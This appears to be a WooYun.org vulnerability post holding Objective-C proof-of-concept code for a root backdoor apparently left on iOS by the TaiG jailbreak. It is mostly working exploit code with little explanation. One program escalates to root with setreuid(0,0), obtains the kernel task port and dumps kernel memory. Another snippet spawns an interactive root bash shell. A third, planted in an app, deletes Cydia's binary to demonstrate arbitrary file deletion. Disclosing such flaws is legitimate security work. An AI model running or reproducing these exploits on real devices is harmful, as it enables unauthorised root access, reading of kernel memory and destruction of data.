WooYun.org

#include <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/param.h>
#include <spawn.h>
#include <mach/mach.h>
 
void dump_kernel_memory(vm_address_t addr)
{
	kern_return_t kret;
	mach_port_t proc_task = 0;
	vm_size_t ret_size = 0;
	vm_size_t i;
	char buffer[128] = {0};
	int ret;
	
	ret = task_for_pid(mach_task_self(), 0, &proc_task);
	if (ret != 0)
	{
    	NSLog(@"[err] get tfp0 fail: %d", ret);
    	return;
	}
	
	NSLog(@"task for pid 0 = %u", proc_task);
     	kret = vm_read_overwrite(proc_task,
                             	addr,
                             	sizeof(buffer),
                                  (vm_address_t)buffer,
                                   &ret_size);
	
	char *info = malloc(4096);
	info[0] = '\0';
 
	for (i = 0; i < ret_size; i++)
	{
    	if (i % 16 == 0) sprintf(info + strlen(info), "\n%p: ", (void *)(addr + i));
        sprintf(info + strlen(info), "0x%02x ", *(uint8_t*)(buffer + i));
	}
	NSLog(@"%s", info);
	
	free(info);
}
 
int main (int argc, const char * argv[])
{
	if (argc != 2)
	{
		NSLog(@"%s [kernel_address]", argv[0]);
		return 0;
	}
 
	NSLog(@"current uid=%d euid=%d", getuid(), geteuid());
	
	/*
 	* taig backdoor test
 	*/
	
	setreuid(0,0);
	NSLog(@"now uid=%d euid=%d", getuid(), geteuid());
 
	vm_address_t addr = strtoul(argv[1], NULL, 16);
	dump_kernel_memory(addr);
	
    return 0;
}
 test_taig_backdoor2提权poc代码：
void get_root_shell
{
	setreuid(0,0);
	system("/bin/bash -i");
}

通过在APP中添加下面的代码进行删除文件测试（谨慎执行）：
void testBackdoor()
{
    NSLog(@"当前运行进程 uid=%d euid=%d", getuid(), geteuid());
    setreuid(0,0);
    NSLog(@"后门提权后，当前运行进程 uid=%d euid=%d", getuid(), geteuid());
        
    NSLog(@"删除任意文件演示（该测试会导致Cydia无法运行，请谨慎执行）");
    unlink("/Applications/Cydia.app/MobileCydia");
}